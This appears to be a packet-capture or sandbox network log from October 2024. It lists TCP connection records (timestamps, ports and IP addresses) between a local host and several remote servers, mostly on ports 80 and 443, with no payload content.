Oct 30, 2024 04:34:44.641930103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.641941071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.641987085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.641999960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642011881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642011881 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642060041 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642112017 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642123938 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642136097 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642141104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642177105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642630100 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642642975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642653942 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642666101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642678022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642689943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642699003 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642703056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642723083 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642733097 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642738104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642741919 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642770052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642771959 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642782927 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642796040 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642817020 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642828941 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642910957 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642921925 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642932892 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642946005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.642951965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.642976999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.643047094 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.643059015 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.643069983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.643095016 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.643109083 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.645900965 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.645912886 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.645937920 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.645948887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.645962000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.645962000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.645991087 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.646007061 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.646667004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646680117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646691084 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646703005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646713972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646727085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646738052 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.646742105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.646780014 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.670142889 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.675510883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.675524950 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.675537109 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.675575972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.675589085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.675590992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.675602913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.675637007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.675652981 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.684056044 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.684113026 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.684153080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.684156895 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.684175968 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.684196949 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.705606937 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.706036091 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.706052065 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.706532001 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.706537962 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.746499062 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.746843100 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:44.746855974 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.747145891 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.747457981 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:44.747512102 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.747795105 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:44.757262945 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.757868052 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.757885933 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.758302927 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.758308887 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.759356976 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.759377003 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.759426117 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.759434938 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.759464025 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.759530067 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.759639978 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.759648085 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.759656906 CET	51083	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.759660959 CET	443	51083	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.762427092 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.762439013 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.762823105 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.762929916 CET	51088	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.762940884 CET	443	51088	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.765149117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765161991 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765172958 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765213013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765230894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765243053 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765247107 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765255928 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765270948 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765284061 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765304089 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765315056 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765326977 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765470982 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765495062 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765506983 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765516996 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765558004 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765578985 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765619040 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765651941 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765664101 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765691042 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765702963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765744925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765764952 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.765861988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765954971 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.765969992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766004086 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766014099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766025066 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766036034 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766074896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766208887 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766220093 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766231060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766256094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766272068 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766300917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766313076 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766324043 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766335964 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766338110 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766365051 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766385078 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766388893 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766495943 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766544104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766585112 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766596079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766623974 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766705036 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766716003 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766732931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766743898 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766752958 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766755104 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766777992 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766791105 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.766953945 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766964912 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766976118 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.766997099 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767013073 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767086029 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767096996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767107010 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767118931 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767127991 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767143965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767168999 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767210960 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767222881 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767232895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767246008 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767256975 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767268896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767270088 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767294884 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767309904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767735004 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767751932 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767764091 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767775059 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.767818928 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.767849922 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.769644022 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.770416975 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.770462990 CET	443	51081	52.182.143.208	192.168.2.6
Oct 30, 2024 04:34:44.770571947 CET	51081	443	192.168.2.6	52.182.143.208
Oct 30, 2024 04:34:44.791331053 CET	443	51084	20.125.209.212	192.168.2.6
Oct 30, 2024 04:34:44.798748016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.798787117 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.798798084 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.798820019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.798830986 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.798831940 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.798841000 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.798851013 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.798893929 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.803757906 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.806071043 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.806085110 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.806909084 CET	51082	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.806917906 CET	443	51082	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.807337999 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.807362080 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.807373047 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.807384968 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.807394981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.807418108 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.807461977 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.838391066 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.838409901 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.838438034 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.838496923 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.838733912 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.838742971 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.838753939 CET	51085	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.838757992 CET	443	51085	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.842617989 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.842649937 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.842827082 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.843004942 CET	51089	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.843020916 CET	443	51089	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.870982885 CET	51084	443	192.168.2.6	20.125.209.212
Oct 30, 2024 04:34:44.888781071 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888808012 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888819933 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888851881 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.888869047 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.888911009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888922930 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888932943 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888943911 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.888964891 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.888983965 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889054060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889065981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889076948 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889087915 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889098883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889107943 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889108896 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889122009 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889122963 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889149904 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889166117 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889249086 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889261007 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889270067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889281988 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889297962 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889332056 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889379025 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889389992 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889400005 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889420986 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889436007 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889499903 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889530897 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889542103 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889553070 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889576912 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889594078 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889651060 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889662981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889672995 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889684916 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889691114 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889695883 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889705896 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889708996 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889720917 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889733076 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889761925 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889763117 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.889852047 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.889882088 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889894009 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889904022 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.889924049 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889942884 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.889949083 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.889955044 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.889995098 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890006065 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890016079 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890027046 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890053034 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890063047 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.890065908 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890182972 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890196085 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890206099 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890218019 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890228987 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890239000 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890239954 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890253067 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890254021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890259981 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890266895 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890273094 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890300989 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890326023 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890434980 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890683889 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890708923 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890722990 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890732050 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890772104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890806913 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890818119 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890827894 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890851021 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890868902 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890907049 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890918016 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890928984 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890947104 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890960932 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890970945 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.890983105 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.890994072 CET	80	50987	185.215.113.206	192.168.2.6
Oct 30, 2024 04:34:44.891114950 CET	50987	80	192.168.2.6	185.215.113.206
Oct 30, 2024 04:34:44.892350912 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.892358065 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.892406940 CET	51086	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.892412901 CET	443	51086	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.895041943 CET	51090	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:44.895051956 CET	443	51090	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:44.895246983 CET	51090	443	192.168.2.6	13.107.246.45
